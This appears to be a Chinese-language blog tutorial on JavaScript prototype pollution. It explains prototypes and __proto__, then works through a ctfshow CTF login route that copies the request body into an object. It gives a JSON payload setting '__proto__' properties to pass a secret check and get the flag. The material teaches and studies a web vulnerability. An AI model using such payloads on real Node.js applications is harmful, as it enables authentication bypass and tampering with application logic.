js原型链污染

什么是js原型(prototype)

要弄清这个问题,就要先弄清什么事类和对象。
类和对象是面向对象的编程语言中的几本概念。这里不进行详细阐述,简单的说,类可以实例化成为对象。二者内部都存在属性和方法。

现在来说原型。原型分为显式原型(prototype)和隐式原型(_proto_)。现在假定有一个类Foo和一个Foo类实例化得出的对象foo。我们可以通过

1
Foo.prototype.FunctionName = 

来定义原型。完成了定义后,就可以通过

1
foo.FunctionName();

来对定义好的函数来进行调用了。

而__proto__和prototype的关系为:foo.__proto__ == Foo.prototype

总的来说,prototype是类的一个属性,而由该类实例化得到的对象都会拥有prototype的属性和方法。

什么是js原型链

img1

这张图中可以看到,通过 __proto__ 可以一直往前找对象的原型,就形成了原型链。

而js在寻找属性时,如果在当前的对象中找不到,则会去对象的 __proto__ 中寻找。这个寻找机制就是原型继承链。

原型链污染

前文中已经提到,我们可以通过对象的 __proto__ 来访问类的原型。那么如果我门修改一个类的对象的 __proto__ ,是否就可以控制该类的其他对象的属性了呢

1
2
3
4
5
6
7
let foo = {bar : 1};
console.log(foo.bar);
//通过__proto__来修改属性bar的值
foo.__proto__.bar = 2;

let zoo = {};
console.log(zoo.bar);

运行这段代码可以发现,虽然zoo为一个空属性,但是输出其bar属性会发现结果为2。这就意味着我们通过一个对象来修改原型链,从而影响了其他的对象的属性。这就是js原型链污染的基本原理。

利用条件

1.merge/copy函数

merge函数合并两个对象时,对于属性的值时对象或者数组的,merge会把他们的引用复制给目标对象。因此,在merge完成后,修改源对象的属性,目标对象的属性也会发生变化。

这里用ctfshow的题目做例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

这是题目登陆界面的源码,可以看到,这里把req.body也就是用户的请求内容copy到了user中,进行登陆。但是利用刚才的知识,如果传入一个

1
2
3
"__proto__" : {
"ctfshow":"36dboy"
}

就可以做到就该secret的对象的效果,从而得到flag。